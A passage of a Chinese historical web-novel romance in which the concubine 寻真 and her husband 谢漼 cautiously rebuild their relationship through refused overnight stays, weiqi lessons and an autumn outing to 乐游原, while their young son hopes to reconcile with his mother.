“竟还不知悔改?” “什么……”谢璋小小的脸上写满了震惊,“你骗我……” 谢漼扫了眼他手里的玉佩,淡淡道:“你手中这块是你娘让人从外面买来的,另一块,被你摔碎的,便是你娘亲手做的了。” 谢璋的大眼睛中迅速闪起了水光。 谢漼:“如今追悔莫及又有何用?” “那玉已碎了,你伤了你娘的心,此事亦无法再挽回。” 谢璋瘪着嘴,再也忍不住,无声落泪。 谢漼不忍,终是将他抱入怀中。 谢璋埋入谢漼怀中,泪水渐渐打湿了谢漼胸前的衣襟。 谢漼拍着他的背,温声道:“好了,莫哭了。方才都是爹吓唬你的。” “你是我与真儿唯一的孩儿,我怎会不帮你?” “等过些日子,待你娘怒气消了,我再带你见她,如何?” 谢璋抽抽噎噎:“……什么时候?” 谢漼:“等恒哥儿什么时候懂事乖巧了,便带你去。” “但你须知,事不过三。” “若次次都惹你娘伤心,我便不会再纵你。” “下一回,便是最后机会。” “若你还表现不好,我便依你娘的意。” “她不愿见你,我亦不再强求。” 谢璋攥着那块玉佩,将它贴到胸口,对着谢漼,珍重点了点小脑袋。 “爹,我知错了。” “下一回,我定会表现得很好的。” 谢漼欣慰,揉了揉谢璋的脑袋,道:“这样才对。” 过了几日,寻真再次见到谢漼,发现他腰间系着那块葫芦玉佩。 因为这玉佩本是送给谢璋的,寻真做得比较迷你,挂在谢漼腰间,从远处看几乎看不到,走近了,得仔细瞧才能发现。 这葫芦玉佩不太符合谢漼的气质,寻真怎么看都觉得怪怪的。 谢漼顺着她的视线往下看去,伸手将玉佩解了下来,道:“真儿一直盯着这玉看,可是觉得有哪里不妥?” 寻真:“是我那块?” 谢漼点头,将玉佩递向她:“我已叫人修补好了。” 寻真接过玉佩,仔细看。 不得不说,修的可真好,要对着光,才能隐隐看见葫芦中央有一条极细的线。 寻真:“几乎看不出摔坏过了。” 谢漼:“表面虽几近完好,细看,裂缝却一直存在。” “玉是死物,无自愈之力,无论玉匠如何尽力,也无法将它恢复如初。” “此裂缝,便永远也消不掉。” 谢漼的话似意有所指。 寻真望过去,与 谢漼的视线交汇一瞬,很快避开了。 寻真把玉放在几上。 沉默了一会,谢漼的目光投向那玉,问道:“真儿方才一直看着这玉,可是觉得我带在身上,不好看?” 寻真:这都被他看出? 谢漼:“为夫有一事相求,真儿可否应下?” 好久没听见谢漼自称“为夫”。 寻真又有些不习惯了。 寻真:“……什么?” 谢漼:“这玉佩戴起来,总觉得差了些什么。” “真儿平日有许多妙想,又擅手工。” “不如帮为夫想想,如何改良一番,带在身上更好看些。” 寻真:“……好。” 寻真接下了这个任务。 转念一想,谢漼的设计能力可比自己强多了。 怎么让她来? 寻真只能做见过的东西,让她凭空设计,基本不可能做到。 寻真先问了下截止日期:“爷什么时候要?” “不急,真儿慢慢想。” 过了一会,谢漼又开口道:“不如,在我生辰之日,真儿再将这玉佩送与我?” 呃…… 谢漼生辰是哪天? 谢漼像是看穿了她的心思,马上又道:“我生辰是元日之三。” “真儿可记下了?” 寻真:“嗯。” 谢漼听了,眉宇间舒展开来,看上去心情不错:“那为夫便等着真儿亲手做的生辰礼了?” 寻真:“好。” 谢漼忽然转到另一个话题。 “恒哥儿,我替真儿教训他过了。” “他也向我认了错。” “他已知错,真儿可愿再见见他?” 谢漼为什么就这么执着呢? 寻真脸上露出为难的神情,思考该怎么委婉拒绝。 谢漼:“等哪日真儿气消了,我再将恒哥儿带来如何?” 寻真稍稍松了口气:“嗯。” 没话讲了,二人相对无言。 过不了多久,谢漼就会主动起身告辞了,这大半个月来,都是如此。 寻真就等着谢漼主动提出离开,然后她起身送一送,就结束今天的会面。 寻真正发着呆,突然感觉手背上一热。 她放在几上的手,被谢漼包住了。 寻真抬头看去,见谢漼凝视着她,目光涌动着什么,看不真切。 谢漼语气轻而缓,尾音带着一丝缱绻:“今日,我留下。” “可好?” 第80章 第80章“热气” 不得不说,谢漼收起那股子强势劲后,相处起来还是挺舒服的。 他长得好,又极为注重自身的卫生清洁。 这样干干净净,又香香的美人在面前晃悠,当成一道风景看也不错。 其实,他大可不必多问这么一句。 直接留下就可以,就像以前那样。 寻真也不会拒绝。 所以,他突然变成这样。 是为什么呢? 他想要什么? 寻真垂眼,想了片刻,又抬眸,望向谢漼。 接着,将手从他掌心抽出了。 气氛凝滞。 被她拒绝,谢漼并未动怒,脸上甚至没有一丝波澜,只是平静地看了她一会儿,便收回手,起身说道:“不必送了,你歇着吧,明日我再来看你。” 寻真嗯了一声,坐着,看他离去。 寻真只觉得跟现在的谢漼相处,浑身难受。 还不如变成以前那样,寻真还自在些。 虽然现在好相处了,但……谁知道他现在这个状态能维持多久? 寻真昨日睡多了,夜里毫无睡意,翻来覆去,又想起了谢漼。 琢磨起他这个人来。 追溯记忆,思绪飘飞。 寻真恍然。 这人的自尊心太强,一定是那天晚上,她那句话,让他面上挂不住了。 所以现在他才要先确认她的意愿? 那如果……她一直拒绝呢? 谢漼又会是什么反应呢? 这个答案,寻真很快就能知道了。 谢漼来的次数挺频繁的。 提出留宿的请求,总挑二人谈话气氛融洽之时,冷不丁地问上一句,寻真拒绝后,那原本融洽的气氛瞬间降了下来。 起初,寻真还有些不敢看谢漼。 拒绝的次数多了,见谢漼不生气,时间一长,便渐渐放松,还会偷偷瞄他一眼,观察他的反应。 谢漼当然瞧见了,心中觉得有几分好笑。 这小模样,倒是像极了恒哥儿。 寻真见谢漼笑了,心中顿时警铃大作。 难道谢漼在一次次被拒绝中逐渐变态了? 谢漼瞧着她满脸警惕的样子,眼中笑意更浓了几分。 “真儿可知,你此时的神态,与恒哥儿很像?” 寻真:“……是吗?” 谢漼伸手过去,还没碰到寻真的发丝。 寻真迅速往后一仰,躲开了。 谢漼眼中笑意凝固了。 寻真:终于装不下去,要发作了? 谢漼抿唇轻笑,忽然问道:“真儿可想出去玩?” 寻真:“……出去?” 谢漼:“近日暑气正盛,烈日高悬,不适宜出游。” “出门不过片刻,便会热气缠身,体肤黏滞,极不爽利。待暑气退去,八月中旬,白露过后,便刚刚好。” “到时,真儿可想与我一同出府游玩赏秋?” 寻真狐疑,瞅瞅谢漼,怎么突然要带她出去。 谢漼:“真儿有何顾虑?” 寻真:“我不是不能出去吗?” 谢漼:“谁与你说的,你不能出门?” 寻真:“我刚来……两年前,连院子门都不让我出。” 谢漼:“此时已非彼时,你整年深居府内,不事张扬,亦未生是非。” “况且,你是随为夫一道出府,又有何逾矩?他人亦无可置喙。” 寻真:“……哦。” 谢漼:“真儿可愿与我一同出府?” 寻真:“嗯。” 谢漼看了她一会,又问道:“真儿想出府玩,怎从来都不与为夫说?” 谢漼总是喜欢问这种让人不知如何作答的尴尬问题。 寻真就笑笑。 谢漼:“真儿可是以为,便是你问了,为夫也不会应允?” 寻真依旧沉默,谢漼也不再多问,起身准备离开。 临走前,他脚步又一滞,目光似隐含着什么深意。 “真儿之性,不当如此瞻前顾后。” “真儿但肯开口问上一句,便知为夫能为你做到什么地步。” “何不一试?” 谢漼刚迈进院子,身后便跟上来一条小尾巴,在他腿边打转。 谢漼微微弯下身子,拍拍谢璋的头顶,温声道:“恒哥儿莫闹,爹还有事,自己去玩可好?” 谢璋小跑上前,挡住了谢漼的路,仰着脑袋:“爹骗我!” 谢漼:“我何曾骗你了?” 谢璋扯住谢漼的袍角,“爹上次说会帮我的,可都这么久了……她是不是彻底恼了我,再也不愿……”说着说着,小脸便皱成了一团,眼中莹莹闪泪。 “恒哥儿莫要自个瞎猜。” 谢漼俯身,捏了捏谢璋的鼻尖:“我不是与你说了,恒哥儿什么时候懂事乖巧了,便带你去见你娘。” 谢璋:“……可是,我现在已经很乖了。” 谢漼:“恒哥儿可愿相信爹?” 谢璋迟疑了一下,还是点了点头。 谢漼:“再给爹一些时日,待时机合适了,我再带你去见你娘,可行?” 谢璋:“什么时候时机才合适?” 谢漼:“最多一年。” 谢璋一听,小脸瞬间垮了下来:“一年,这么久。到那时,我都四岁了……” 谢漼:“那时恒哥儿四岁,想来应是完全学乖懂事了。” 谢璋嘟嘟嘴,哼了一声,转过身去。 谢漼将他抱起,问道:“恒哥儿怎又沉了?是长个子了,还是又吃胖了?” 谢璋环住谢漼的脖子,可怜兮兮地唤了一声:“爹。” 谢漼:“恒哥儿且放心,爹定会帮你的。” 谢璋点点头,嗯了一声,盯着谢漼的脸看了许久,突然低下头,啪叽亲了一口,随后小脸迅速红了,羞得不行,下巴搁在谢漼的 肩膀上,把自己的脸藏起来。 谢漼的右侧脸颊上,留下了明显的一小片口水印。 谢漼先是怔了下,随即笑出声,伸手揉了揉谢璋的后脑,抱着他往里走去。 寻真觉得这是她来这后过得最热的一个夏天。 一踏出房门,就感觉要被烤化了,不过去了个厨房,汗哗哗地往下淌。 寻真挑出柜子里最轻薄、布料最少的衣服穿上,一整天都在室内活动。 谢漼来时,寻真正趴在床上看书,上身仅着一件月白色抹胸,下身则是一条短裤。 床边,摆着好几盆冰,丝丝凉气氤氲开来。 靠近床头的那盆半化的冰里,浸着几串葡萄,和一把细瓷茶壶。 寻真感觉又热了起来,刚想探过头去查看冰块的状态,一抬眼,便瞧见不远处的谢漼。 平时,她也不会穿这么少,尤其到谢漼休沐的日子,总会将自己收拾得整齐些。 今日实在太热,虽谢漼今天休沐,可自己这里与他的院子隔得很远,他过来要走许久,得出不少汗。 寻真想着以他那洁癖的性子,应该是受不了的,不会来了。 虽然现在的谢漼温和许多,但寻真还是不敢太过造次。 寻真把书放下,从床上坐起来,目光扫了一圈。 怎么一件外衫都没有。 无奈之下,只能穿着抹胸短裤下床,唤了声,“爷。” 然后快步走向衣柜拿衣服。 路过谢漼身旁时,寻真悄悄瞄了一眼。 谢漼身上热气腾腾,额间沁出细细密密的汗珠,想来这一路顶着烈日行走,定是出了不少汗。 可他怎么不先去沐浴? 寻真感觉自己被谢漼的目光紧紧包裹住了,浑身不自在。 脚步也不自觉加快了几分。 下一秒,手臂被谢漼握住了。 那掌心的温度滚烫。 这么烫! 寻真简直要被这手的温度灼伤了,惊得原地蹦了一下。 谢漼被烈日炙烤了一路,自然燥热难耐,汗水早已湿透衣衫,黏腻感令他浑身不适,本应立刻前往沐浴,洗去这一身燥热。 屋内放置数盆冰块,谢漼却感觉不到任何凉意。 目光触及寻真的肌肤时,心底的燥热陡然加剧,胸中的火被烧得愈发热烈起来。 她的手臂光滑细腻,泛着丝丝凉意。 瞬间驱散了些许暑气。 谢漼只觉自己的脑子似是烧了起来,变得混沌不清,有些迷糊了。 寻真看着谢漼的眼神,刹那间感受到一股危险气息,刚想迈开步子,就被谢漼抱住了。 寻真忍不住挣扎起来。 倒不是抗拒谢漼的触碰。 而是他身上太热了啊! 跟贴了个火球没什么两样。 寻真的挣扎只是徒劳,谢漼轻易将她锢在怀中,往床边抱去。 却并未上床,只是坐在床沿。 谢漼声音沙哑:“真儿,莫要乱动,为夫只是太热了……” 那压抑的喘息喷洒在寻真的耳廓,让她忍不住打了个激灵。 谢漼并没有过分的举动,只是时而轻抚她的肩头,时而又捏一捏她的手臂,从上至下,不放过她任何一处裸/露在外的肌肤。 似只是借助她的肌肤来降温。 滚烫的大掌汲取那丝丝凉意,反复摩挲。 寻真上身的肚兜,背后仅用一根丝带系着,谢漼的手掌便卡在那根细带上,贴在她的背部摩挲。另一只手则在她大腿处缓缓抚着。 谢漼感叹道:“真儿身上怎这般凉快?” 寻真很快被他弄得一身薄汗:“爷要不要去沐浴?” “沐浴后,应是不会这么热了。” “沐浴解不了此热。” 谢漼哑着嗓子,在她耳边低低询问:“真儿可否能帮为夫解此热?” 说着,大掌穿过了那根细带,往更深处探去。 腰间抵上一物,寻真一个哆嗦,忙抓住了谢漼的手,呼吸也急促起来:“爷——” 谢漼的动作停住:“……真儿仍是不愿?” 寻真垂眼,轻轻嗯了一声。 谢漼注视她片刻:“好,为夫随真儿之意。” 谢漼松开了她,起身,前往浴房。 寻真抬头偷看一眼,那处明显支起,绷紧着。 方才谢漼起身时,擦过她的身体,即便隔着衣物,寻真也能感受到那股不容小觑的力量。 视线挪到谢漼脸上,密布汗珠,眼尾泛红,正竭力隐忍着。 等会谢漼应该会自己解决吧…… 寻真不免想象了一下那个画面,总觉得做那种事,有点不太符合谢漼的气质。 谢漼轻轻扫她一眼,也不介意自己这般狼狈的样子被她瞧见,哑着嗓子说:“真儿当知为夫忍着难受,莫再拿眼勾我。” 寻真:…… 寻真立马转开了视线。 待谢漼从浴房出来,屋内又添置了几盆冰,寻真也已穿戴整齐,坐在榻上。 谢漼沐浴后,又恢复了那副清冷出尘、高洁不凡的模样。 与方才眼睛发红、欲求不满的样子,判若两人。 寻真突然好奇,他做那事,彻底情动之时又会是什么样? 以前,寻真不好意思看,总闭着眼。 现在想想,还蛮可惜的。 要是下次有机会…… 寻真连忙挥散脑海中不太干净的思想。 晃晃脑袋,到底都在想什么乱七八糟的。 谢漼冷不丁又问:“真儿在想什么?” “方才为何那么看为夫?” 寻真:“……没想什么。” 榻上。 谢漼跟自己对弈,沉浸其中,也没管寻真做什么。 寻真一开始坐着看书,渐渐地,便放松下来,姿势愈发随意,怎么舒服怎么来。 直到她伸直腿,才突然回过神来。 好像踢到了什么…… 寻真正要缩回,脚却被人握住了。 寻真看去。 几下,自己那越了界的脚,正被谢漼的左手抓着。 谢漼面不改色,另一只手捏着棋子,不紧不慢地在棋盘上下了几步,才掀眸朝她看来。 另一只手,轻抚着她的脚。 谢漼挑眉,声音轻柔:“真儿如今,在为夫面前。” “是愈发放肆了。” 谢漼虽这么说,寻真却并未从他语气中感受到丝毫压力。 便也冲他挑了挑眉,稍稍用力,将脚收了回来。 盘腿坐好。 谢漼那只手搁在腿上,手指间轻轻相互擦动,似是还在回味方才触碰她脚时的触感。 寻真视线往上挪:“爷,可否教我围棋?” 谢漼手一顿,看过来:“真儿不觉得围棋枯燥了?” 寻真:“嗯,平日有些无聊,能学样东西消磨时光也是好的。” 谢漼应了一声,抬手将棋盘上的棋子都拾起,放好,然后摆了一个常见定式。 “……白此举意在争势,以守为攻,逼黑应对……” 寻真听得认真,不时点头。 谢漼讲了几个布局演变后,稍作停歇,喝了口茶,“真儿其实聪慧非常,只看你自个上不上心。” “若心里乐意,学起来必定神速。” 寻真听了这话,不禁觉得有些好笑。 这跟现代老师那些话术有什么区别——你家孩子其实特别聪明,就是不用心,要是能把心思放在学习上,成绩肯定好。 谢漼:“为夫此话又哪里不对,竟又惹真儿发笑了?” 寻真收了嘴角:“没什么……” 谢漼:“想来,真儿应已明了为夫之意了?” 谢漼就是有办法在气氛好的时候,冷不丁说出一句让人难回答的话。 寻真这下是真笑不出来了。 谢漼一直盯着她,等她回答。 半晌,寻真嗯了一声。 谢漼便点点头:“真儿知道,为夫这心,便放下一半了。” “为夫还有一番话,要与真儿说明白。” 谢漼的声音忽然温柔了。 “日后,真儿在我面前,无需拘束,尽可自在随心。” “行事皆可依你心意,为夫都不会罚你。” 说完,他觉得有所不妥,又补充道:“自然,行事界限,真儿心中应自有尺度,如那等……” 说到这里,谢漼眉头轻皱,似是那些话语难以启齿,便略过不提。 “真儿应知晓我所言之事。” “总之,真儿当明白分寸,清楚何事可为,何事不可为。” 寻真:总之,解释权还是归甲方所有。 谢漼:“嗯?真儿。” 寻真:“知道。”【魔蝎小说 mo xie xs .c om】 80-90 第81章 第81章“惊疑” 八月中旬,立秋已过。 薄暮时分,二人于几前对弈。 学了一个多月的围棋,寻真自觉进步不少。 然而,面对一个无论如何都赢不了的对手,实在没什么游戏体验感。 又输了! 寻真将白子丢回棋 罐:“不玩了。” 谢漼眼中含笑,长指把玩着一枚黑子:“这回让真儿十子如何?” 让的越多,输了更丢人。 谢漼:“真儿若觉得与为夫下棋无趣。” “不如,为夫找个与你棋力相当的人来陪你下?” 寻真:“……谁?” 谢漼:“恒哥儿。” 寻真沉默片刻,一时竟分不清谢漼是在认真提建议,还是在变着法儿地嘲讽她下得菜。 谢漼:“恒哥儿的棋也是为夫教的。” “恒哥儿虽年幼,却颖慧过人,敏而好学。” “如今已学棋半载,棋艺已胜过许多初学者。真儿可莫要小瞧了他。” 寻真:所以她还很有可能输给一个三岁小孩…… 寻真:“我还是跟您下吧。” 谢漼望向窗外天色,道:“明日天气晴好,正宜出游。我便带真儿出府。” “只是明日真儿不可再贪睡,我们需辰时三刻动身。” “真儿今晚早些歇息,明日早些起身,可好?” 寻真:“好。” 寻真没想到谢漼来得这么早。 迷迷糊糊中,寻真感觉有人注视着自己。 睁眼一看,是谢漼。 寻真还以为自己睡过头,猛地从床上弹起来。 谢漼轻笑,道:“真儿莫急,才卯时。” “你若还想睡,再睡一个时辰也不妨事。” 寻真试图重新入睡,但被谢漼这么注视着,实在睡不着,就顶着一头炸毛起床了。 谢漼在一旁看着月兰为她梳发,待月兰在妆匣中挑选首饰时,谢漼叫她退下。 谢漼上前,微微俯身,拿起妆匣中的一支簪子。 正是谢漼送她的那支,流霞簪。 妆台上的镜子,是谢漼后来叫人送来的,清晰度与那立身镜差不多。 镜中,寻真看见谢漼扶着她的发髻,将那支嵌着红宝石的金簪缓缓插入发间。 接着,他又从妆奁盒中取出一支螺子黛。 轻唤:“真儿,来。” 寻真转过身,谢漼托着她的下颌,微微抬起。 找准角度,下笔描绘。 晨曦透棂而入,照亮了谢漼半边脸庞,若披金芒。 青年姿容清俊,似画中之人,缥缈兮不可方物。 眉上微微发痒,寻真闭上眼睛。 谢漼放下笔,捏着她的脸,端详片刻,道:“许久未见真儿妆扮,今日难得出府游玩。” “不如由我为你施粉点唇?” 谢漼还会化妆? 虽然寻真不太相信这里的化妆品,但挺好奇谢漼的化妆技术。 就算有毒,难得用一次应该也没事。 寻真就点了点头:“有劳爷了。” 谢漼捣鼓着那些妆具和粉盘,用量不多,都是点到为止。 这里点点,那里画画,很快就结束了。 寻真看向镜子,皮肤白了不少,气色也看着更好了。 谢漼还在她额心绘了一朵梅花。 整体妆容淡雅清丽,的确是谢漼偏好的风格。 谢漼:“真儿觉得如何?” 寻真:“挺好。” 两人并肩往谢府大门走去,一路上,寻真收获了不少仆人打量的目光。 寻真略有些不自在,还好头上戴着帷帽,得以挡住那些目光。 谢漼一直活在众人瞩目之下,对于旁人的注视,早已能做到完全忽视。 谢府门前。 谢漼牵起寻真的手,扶她上马车。 车厢宽敞,以香木打造。车内铺设着柔软的锦褥,四周挂着华丽的丝幔。 寻真一上马车,便将头上的帷帽摘下,放到一边。 谢漼进来后,宽敞的车厢顿时拥挤起来。 平时也不觉得谢漼这么占地方。 寻真看看谢漼,他还是很大一只的。 谢漼个子大概一米九,但身形偏瘦,又常爱穿飘逸的衣服,走动间衣袂飘飘,会减弱几分厚重感。 但在狭小的空间,就很能显示出他的体量了。 寻真与他并肩而坐,中间仅留些许空隙,马车稍微颠簸一下,两人的肩膀便会碰在一起。 寻真顿时拘谨,竭力克制着不与谢漼碰上。 谢漼取出一本书,看了起来。 待马车行至大道,市井的喧嚣涌来。 耳边传来此起彼伏的叫卖声,马蹄嘚嘚声,还有车轮碾压在石板路上发出的沉闷轱辘声。 寻真撩开车帘,跪坐起身,好奇地向外张望。 马路一路驶出了都城大门。 出城门时,寻真特别留意了。 谢漼的马车一过去,守城官兵什么都没问,直接放行。明明前一个百姓,出示了一样什么东西,官兵还拿过细看,询问许久。 寻真心想,有可能是谢漼的马车上有家族身份的标识。又或者是马车的规制有等级规定,马车外形足以表明身份,因此无需出示物件,能直接出城。 寻真一直望着窗外。 谢漼看着寻真,心中暗道,出一次府,她竟如此欢欣。看来,日后要多带她出门才是。 寻真回过头,见谢漼已放下书,目光正落在自己身上。 寻真问道:“我们去哪?” 谢漼:“乐游原。” 马车行至崎岖之地,颠簸开始剧烈,寻真被颠得有些头晕了。 谢漼向外唤了一声,让驾车的小厮放慢速度。 话音刚落,马车便磕到一块石头,猛地向前一冲。 寻真低呼出声。 那小厮连忙勒住缰绳,待马车平稳后,在车帘前请罪道:“小的一时疏忽,未曾留意,爷与姨娘可安好?” 谢漼道:“无碍,你多留意路上的状况,莫要再出岔子,用心赶车。” “放慢些,不必着急。” 小厮连连称是。 马车内。 寻真满脸红晕,整个人被谢漼圈在怀里。 方才她险些向前扑出去,谢漼眼疾手快,一把将她捞住,搂到怀里。 谢漼一手圈着她,一手拿着书,“此路崎岖,真儿安生些,莫要乱动了。若是摔了出去,伤着自个,就玩不成了。” 寻真:“……哦。” 谢漼:“真儿今日睡得少了,还有些路,不妨枕在为夫身上,稍作歇息。”说着,谢漼还轻轻拍起寻真的背来。 寻真本没睡意,被谢漼这样拍着,再加上马车颠簸,头渐渐发晕,竟不知不觉睡了过去。 谢漼身上的香闻着能宁神,寻真睡得舒服,还做了个梦。 醒来时,马车已不再颠簸,停下了。 ……这是到了? 寻真恍恍惚惚,睁开眼。 与谢漼的目光撞上。 谢漼正凝视着她。他此时已不再看书,两只手都环着她。一只手搂着她腰,另一只手圈着她的肩。 这姿势,有点像抱孩子。 寻真不禁脑补,平时谢漼都是这么哄谢璋睡觉的吧? 刚才拍背的频率那么专业。 寻真想着要从谢漼身上起来,目光一瞥,看见谢漼胸口处有小一片湿了。 她刚才就贴在那儿,那位置,正好是她的嘴…… 寻真的脸瞬间臊红。 寻真弱弱地问:“……是到了么?” 谢漼松开了她:“嗯……一刻钟前便到了。” 寻真忍不住又朝谢漼胸前那处瞄去,决定不提醒他了。谢漼有洁癖,知道得嫌弃死她。 寻真:“爷怎不唤我一声?” 谢漼打开小抽屉,从中取出一块绣竹巾帕,慢条斯理地擦了擦胸口那处:“真儿睡得香,为夫怎忍心叫醒。走吧。” 谢漼先一步下了马车,站在下面仰头看着她,朝她伸出手。 “来,真儿。” 寻真脸上的红晕还没褪去,将手放入谢漼掌心,脚未踩到地面上,便被谢漼举着腰,稳稳地放下。 走出几步后,谢漼看看寻真,似乎觉得有哪里不妥,又折返。 寻真不明所以。 很快,谢漼取来寻真落下的帷帽,为她戴上。 “帷帽可遮阳,亦可挡沙。” 寻真只觉得这帷帽挡视野,十分不方便。 便说:“我觉得还好。我不怕晒 ,这帷帽戴着,头还很重,要不还是不戴了?” 说着便要摘下。 谢漼抬手挡了一下,望了望天边的云,道:“等会儿风便大了,此地风沙重,真儿你平日少出门,肌肤娇嫩,若无帷裳蔽体,易致肤疾,小心为上。” 寻真忍不住心里蛐蛐他,自己不带,却让她戴。 被风吹一吹就肤疾了?她有那么弱? 还有,他怎么知道等会风会大? 谢漼看了她一眼,又道:“天际现卷积云,形如鱼鳞,又似波纹。” “顶部隆起,云底平整,且行速极快,此乃风起之兆。” 寻真:哦哦哦。 巳时,天空高远,阳光柔和。 乐游原上的草地大多已染上秋意,呈现出一片黄绿相间之色,草丛中点缀着不知名的野花。 此处人来人往,有寻常百姓,三两成群,漫步赏景。亦有文人雅士,吟诗诵词,挥毫泼墨。 寻真与谢漼并肩走了一会。 便听到不远处有人高声呼喊。 “五郎!谢五郎——!” 寻真一开始还不知道是在唤谢漼,见谢漼停下脚步,转过身去,才反应过来。 “缮之——!” 那身影很快便到了近前。 寻真被谢漼拉到身后。 谢漼高大的身躯挡住了寻真的视线。 潘竞探着脑袋张望,可惜那女子被谢漼护得严实,瞧不见,而且那女子还带着帷帽。 第一次撞见谢漼带女子出门,潘竞心中满是好奇,想瞧瞧这女子究竟是何人。 难不成是谢漼的妻子?亦或是新纳的姬妾? 当然,最大的可能便是从栖霞阁赎回来的那位。 谢漼:“好巧,子尚今日也来此赏秋?” 潘竞点头,正猜着谢漼身后是何人时。 谢漼身后,悄悄地探出一个脑袋。 透过帷帽的缝隙,潘竞隐隐瞧见了此女的容貌。 潘竞早年见过,后来又因范岂的一幅画加深了印象。 便猜出了她的身份。 谢漼注意到潘竞的视线,侧头看去,寻真被抓个正着,连忙站直了。 潘竞:“我独自前来,正觉游玩无趣。缮之不如与我结伴同游,共赏风光?” 谢漼:“子尚也看到了,我携内眷出游,今日实在不便,改日相聚可好?” 果然被拒了! 潘竞笑道:“好好,缮之既有佳人相伴,小弟便不打扰了。告辞。” 潘竞向外走了几步,又回头看了一眼。 见谢漼站在原地,略低着头,不知在与那女子说些什么。 瞧那神色,倒像是在训人呢。 潘竞摇了摇头,笑着,大步往相反方向去了。 谢漼的语气中确实带着几分不赞同:“方才真儿做了何事?” 寻真心想,不就看了一眼,至于么? 谢漼:“真儿日后在外,还需端庄持重些,这般天真小儿态,实在不妥。” 又来了,又来了…… 寻真揉了揉耳朵。 谢漼:“真儿都二十了,怎的有些时候,还如同恒哥儿一般。” 二十咋了? 二十就不能是个宝宝了? 谢漼:“为夫并不是拘你,真儿须知,你已为人妇……” 寻真知道谢漼又要开始输出了,还好这里开阔,寻真直接向前跑去。 谢漼的手拦了个空,便加重语气唤道:“真儿!” 谢漼见她撒欢似的跑开了,叹了一气。 罢了,她难得出来一回,便纵了她这一次吧。 寻真登上高坡,俯瞰而下。 风吹开帷帽的轻纱,视野豁然开朗,周遭景致一览无遗。 整个东都城尽收眼底,街道纵横交错,车水马龙,热闹非凡。远处的城墙巍峨耸立,城门半掩,行人如织,络绎不绝。 风声渐起,卷起她的裙摆,猎猎作响。 寻真抬眼望去,果然如谢漼所说。 天边云层正以极快的速度流动。 寻真:难道谢漼真是个行走的天气预报机? 站在乐游原的最高处,风势愈发强劲。 寻真忽然想起某个影视场景,心念一动,便张开双臂。 闭上眼睛,任由风从耳边呼啸而过。 她感受着风掠过身体,仿佛整个人都要融入这片天地之间。 似乎有人唤了她一声,但那声音转瞬便被风吹散。 寻真沉浸在自己的世界中,直到腰间突然一紧—— 她被一股力道卷入一人怀中。 寻真抬眸,对上谢漼惊疑不定的目光。 他的眼中明显闪过一丝慌乱。 第82章 第82章“汗珠” 谢漼这是怎么了? 寻真见他这反应,心中莫名。 谢漼将她从高坡上抱下来,放平地上。 寻真看到他额上有细密的汗珠:“怎么了?” 谢漼:“那处地势险要,实在危险,真儿还是在这平地上游玩,为夫才放心。” 草地上,小厮将青毡铺开,又摆好两张月牙凳,放上矮几,打开食盒,将里面的食物一一取出摆好。这些皆是谢漼提前叫人备好的。 小厮布置好,便退下了。 谢漼:“真儿许久未进食,腹中想必饥饿,先用些餐食吧。” 寻真确实有些饿了,扫了一眼。 不少她爱吃的,有桂花糖蒸栗粉糕、羊奶酥饼、金乳酥等。 寻真拿起一块桂花糖蒸栗粉糕,边吃边看向谢漼,刚才他行为好反常。 明明那个地方挺安全的,突然就把她抱下来了。 谢漼已恢复如常,面色平静,斟了一杯热茶,递到寻真面前。 “真儿这么看我作甚,可是这吃食不合你心意?” 寻真摇摇头:“……都是我喜欢吃的。” 谢漼:“真儿可要与我对弈一局?” 寻真:“也好。” 寻真:围棋他都带来了? 谢漼抬手一招,不远处候着的小厮立刻跑上前来,吩咐一句,小厮便忙跑去取围棋了。 不多时,小厮双手捧着围棋赶来。 寻真突然有了一个想法:“爷,我知道另一种下法,比围棋要简单许多,你可想与我一试?” 谢漼:“真儿又想到什么好点子了?” 寻真简单讲了五子棋的规则:“……只要五子连成一线,便算赢了。” 谢漼颔首,伸手示意:“真儿先行。” 风渐渐停了下来,四下一片寂静。 草地上野花摇曳,耳边鸟鸣婉转。 寻真边吃糕点边下棋,一连输了五把后,顿时没了胃口。 她捏瘪了咬了一半的金乳酥。 跟谢漼这种外挂玩什么都不会有意思的! 谢漼收拾着棋盘上的棋子,未抬头,语气却含着笑:“真儿怎如此在意胜负?” “下棋之趣,便在于落子过程。” “布局间纵横捭阖,变化万千。此乃心智较量,谋略博弈,纵最后输了这棋局,又有什么要紧?权当是一场消遣,莫要太过介怀。” 寻真:“还是下围棋吧……” 输得慢一点! 二人又下了一会儿围棋,之后,四处走了走。忽然又起了阵风,谢漼抬眼看看天色,“怕是很快便要下雨,且天色也不早了,我们早些回去吧。” 寻真跟着谢漼往回走,仍有些不舍地回头望了望。 谢漼:“真儿若是想出来玩,日后只要为夫得空,便都带真儿出来?” 寻真 :“……好。” 果不其然,刚坐上马车,细密的雨丝便落了下来。 骤雨来得急。 马车驶过西市时,雨珠把车辕敲得铮铮作响。 寻真扒着窗隙看外面。只见行人匆匆忙忙避雨,小摊贩们手忙脚乱收帐,屋檐下站满了躲雨的人。 凉风裹挟着雨丝扑面而来。 寻真打了个喷嚏。 身后传来轻微的响动,紧接着,一条柔软的毯子裹住她的后背。一双手从她肩膀绕过来,将她往怀中拢了拢。 寻真瞬间被温暖包住了。 “莫要看了,若是被风吹着,受了寒可就不好了。” “为夫答应你,下次还带你出来。” 寻真坐好,谢漼倾身将两边的车窗合上,坐回来时,自然地伸手将寻真揽入怀中,像是习惯性地轻轻抚了两下。 谢漼又拿了帕子,轻柔地将她脸上的雨水擦干。 寻真靠在谢漼肩上,马车一颠一颠,又给她颠困了。 谢漼:“莫睡,外头冷了,你若睡过去,等下车走动,怕是要着了凉。” “真儿忍一忍,回去再睡。” 寻真嗯了一声。 寻真有些出神地望着车帘上的花纹。 雨滴愈发密集地砸在车顶上,风刮着窗,发出细微的震颤声,只有几丝寒意透进来,可还没卷到寻真面前,便被温暖的毛毯阻隔在外。 耳边传来行人急促的脚步声,寻真不禁猜想,许是那些在檐下躲雨的行人,见雨势越来越大,等不下去了,便直接冲进雨中。 行人踩在水洼处,水珠溅起,在外衣上溅出泥点子。 马车外,潮湿、寒冷,众人为生计奔波,为这突如其来的雨而发愁。马车内,温暖、安宁。寻真呆在谢漼为她打造好的安全空间内,所有风雨都被挡在外面。 仿佛一个独立的小世界。 这样的温暖熏得人逐渐失去了警觉。 让人沉溺,让人麻木。 寻真眼皮眨动的速度又慢了下来。 忽然,有一道如蝶翼般的重量落在头顶左侧的位置。 寻真恍恍惚惚,抬头。 与谢漼碧潭似的眸子对上了。 那重量极轻极柔,慢慢地,在她眉心印下。 谢漼甫一回到院子,承安前来,禀明他办事的进展。 